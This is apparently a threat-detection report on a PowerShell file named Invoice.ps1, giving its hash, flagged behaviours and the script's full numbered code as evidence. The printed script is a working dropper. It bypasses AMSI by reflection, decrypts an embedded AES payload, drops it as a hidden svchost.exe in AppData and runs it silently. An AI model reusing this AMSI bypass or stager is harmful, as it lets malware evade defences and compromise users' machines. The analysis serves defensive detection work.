Invoice.ps1
AMSI bypass, hidden payload execution
AMSI initialization flag forced by reflectionSystem-process exe in user-writable path
SHA-25674f92110966d46b49dab95189364618795e12e8895f0246e37e7e7b8f67346cf
Evidence
1# Matrix LNK Stager — AES-256 Payload
2[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
3$Key = [Convert]::FromBase64String("a+nyyM7xVI/IPPjLK8c/UejTxQ4Sp3QIaK2xQp6Vu9s=")
4$IV = [Convert]::FromBase64String("eahjSIMpu/vKOuZTQUnl0g==")
5$Enc = [Convert]::FromBase64String("XEHTRbQnJsBhnLnG1pnPLWnSpLyzh+RXX8W33ui5MTQI30ABouLgOKj79RXoT+vevlv0JuAYFV60UqOxs2HknaJZ1qTpC5H9MXsvRhjqLBRn43efaJLkUesRoLghdqBysK4uFkJhjgEDOnhc2taYYPZCseUzyy64ErYqLkgx3IyrHzY+VJV3EzBic9FHOybJSDkA7S/rF+CMS+taTMdj/ZGn+nCfZ7RIf9iaa8hdz/jrl7QDRsNvNzE9UD7Q06tOaPBCHLLEOKh3xXO7rKHKzmVS5jK/K9qBLSCXYazDf5Wth9FA/gulSXCDTBMKqDu+xWkWf+mVxxAP7VMJU5U1hdBf4bbfkRYrVzR10tNMOm2acjTmZaVjB3FSuSRjkiG7XiND0xqW+B7PFw8tzUJLyu00PhFsGjkqg91pFYMQyEHQwEFmF8E/+D1fe+4gPUuSSxSBdkdUEjflutMTTh6Mlz1810VDzD40zsof0JQGvm6d5ynmNNDLVKWDpaoGeIluUVUPnAk1jlRBbeUtXerEpsmMyuHTdUUstQw9X3+mvNvM7kB7zbSzKmI3K3JxfNdkK2zgndZYZ0Jl1+sDjwleA12oSI75bPrLqJJ5280rDZcRCFcFIeLFMlZI77gbyh3M42sGJAsx6SkE5ymP2WcbfUYRjMv7jJNQ/r2btz74QWR201FWwfHY99bKs1aOgKlE/aNLgnfR8ylgbJD8Xn4X8Es62igoa41jz36sfMtSFy0xgD3D2lyewehuoes7s4r4ZKkThJ9xOWMtzQid4QN2gib1UeW++04i4XK8tQolMq9NJJ2cQ7wV4PFTAwOZ1cwHhS6iPRskstpyYHT4IwoPcw/MyyMubgS1G9SOCY6hi+Mc7QymRr+n7Qme4Z27ghcD2hg1/+V98Sf9MTuNolGHzPcIf4OCudPOv+0Ftui5e1SQmNvKWgqfwh9p9lyeObwwKs4fZPc9u/+jXmCAyGLfkl6ei7HZhzO0zCNFsp3XN8jI89iCW6aP+XXVGDwG4RKUTLrbTSegXBZqy5I+B8M/N2pkOn7PiRiPgfBe7gfK/D7eEXaGfMER4F2C6Ws8KBsoAfrzepaiEHJZl5iKDqD0G40HVm98mc8NyfM1JEFx5HefCtcvxpojQ79uWnQ8UeejWH99coGumfXKs/ddRnQe7lmMJKCRcGBoADzd34LXNHsVA1bLz/5bqG8iKJVfYzqMoXdAkWij55sOFNN7K1M1uT8mbW5mlIsP/Pz4nAhTgR0dyu8bl28QWbH99siHU48sEvFYBx3zerwAkBgGSZ5U9bihvS9KXFl9Y07Qd6aVCGYBp7GJDmrQISfqE7A70Ce1IahpdY8CiwC63O8170Alok1zy2nzO3i4vEgUfRvXFCQpQUwZWm5wAdYi1fkCzp6tfWwdvLQKYXVZK6KigsY46CGZuJMmXI14iPgAHO7bFGZeRUWKtuuCTq8xJ4HlDRPBcXToTtZFF7DPi8BE5Zl1geroH26+Ny3pYnYHPCMw5GbFNC7+f9rp7ycObjCxZWvlqZzGm5tmS27j1dJXHbcgEqo7jfpJ8kbbJ5Qud8JzE5DQ+q09ezDwGunAsg2m/XGyzVSFAPnS12fbuLhMsmG7H26Vbdplm+0QodKQJnYKKzhDLr/yK1zvdalN8dmJ1ByHeQBO1+BNJYZ4LranoWiwqPuL60COO9YEeeWj+rDNjFb7csgJLEbmUoB7UR9+Aq4t47pKpRrtRzeQmLVlIjhoLQOmwd/ph2jzF97nQGly8/a+K35+X2qGcxKKH26TONHya1qa1xfo/KsKiFYOTNL+YVqs33TxODHePvbXg7CBcCSTFI7WGwiS8wBR6NvL+0qnqLl6qnLBwdXlNDx+N361bBTOhWBRDcQPXufZvC3id7qC3H+ZvhOg0R6HvZJrkfKAIf+JW3z6L4juHkLGY2g3P65CIq7Pv7gqTGndXigX8ve7 …
6$AES = New-Object System.Security.Cryptography.AesManaged
7$AES.Key = $Key; $AES.IV = $IV; $AES.Mode = 'CBC'; $AES.Padding = 'PKCS7'
8$Dec = $AES.CreateDecryptor().TransformFinalBlock($Enc,0,$Enc.Length)
9$Path = "$env:APPDATA\Microsoft\Windows\Caches\svchost.exe"
10New-Item -ItemType Directory -Path (Split-Path $Path) -Force | Out-Null
11[IO.File]::WriteAllBytes($Path,$Dec)
12(Get-Item $Path -Force).Attributes = 'Hidden','System'
13Start-Process -FilePath $Path -WindowStyle Hidden